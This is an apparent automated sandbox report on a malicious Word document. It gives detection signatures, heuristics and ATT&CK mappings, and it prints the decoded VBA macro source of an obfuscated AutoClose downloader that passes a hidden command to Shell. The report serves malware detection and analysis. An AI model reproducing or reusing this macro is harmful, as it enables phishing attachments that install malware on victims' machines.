MALICIOUS
282
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1059 Command and Scripting Interpreter
The sample is identified as malicious by ClamAV with the signature Doc.Malware.Emooodldr-6711604-0. It contains VBA macros, specifically an AutoClose macro, which is designed to execute obfuscated code. This code, after deobfuscation, calls the Shell function to download and execute a second-stage payload, indicating a downloader or droppper functionality.
Heuristics 6
-
ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2129 bytes |
SHA-256: fb740ab94c7a652a6a3a9be80546049a33ed032fffd973a895f8edf9fbe8f3b2 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function backstrip(harelip)
launchpads = Array("f", "b", "7", "s", "X", "x", "w", "G", "T", "A", "F", "N", "2", "E", "Z", "I", "U", "K", "d", "P", "0", "O", "V", "l", "8", "q", "u")
mayor = Array("q", "p", "b", "m", "t", "g", "d", "e", "u", "?", "h", "=", "o", " ", "/", "i", "j", "a", ":", "O", "s", "c", "n", "U", ".", "x", "w")
simplifiers = vbNullString
For Each clavecin In harelip
motorised = Application.Run("iconodulist", clavecin, launchpads)
If motorised > -1 And motorised < 99212 Then
simplifiers = mayor(motorised) + simplifiers
End If
Next
backstrip = StrReverse(simplifiers)
End Function
Public Function iconodulist(swamphen, turbulent)
thaumaturgism = 81818
unskinator = -1
For Each septupled In turbulent
If septupled = swamphen Then
thaumaturgism = unskinator
Exit For
End If
unskinator = unskinator + 1
Next
If thaumaturgism = 81818 Then
thaumaturgism = -1
End If
iconodulist = thaumaturgism + 1
End Function
Sub AutoClose()
harelip = Array("s", "0", "F", "X", "K", "8", "G", "q", "G", "E", "F", "X", "X", "b", "d", "Z", "Z", "U", "F", "I", "U", "w", "f", "u", "T", "x", "F", "K", "0", "V", "w", "K", "0", "G", "f", "u", "8", "O", "2", "s", "Z", "P", "l", "Z", "0", "s", "I", "q", "8", "b", "F", "b", "A", "T", "X", "s", "K", "N", "V", "V", "I", "I", "7")
begrudging = backstrip(harelip)
Application.Run "hippopathology", (begrudging)
End Sub
Private Sub hippopathology(semideific)
outdreamed = 69172
boomboxes = True
While boomboxes
classroom = outdreamed + 91723
If classroom - outdreamed > 297 Then
VBA.Shell semideific, vbNormalFocus - 1
boomboxes = False
End If
Wend
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 12288 bytes |
SHA-256: 53f95db1d86dec1f763c72ca3b4b4070c059b122ce27192699ce3902a2be9d5b |
|||
|
Detection
ClamAV:
Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.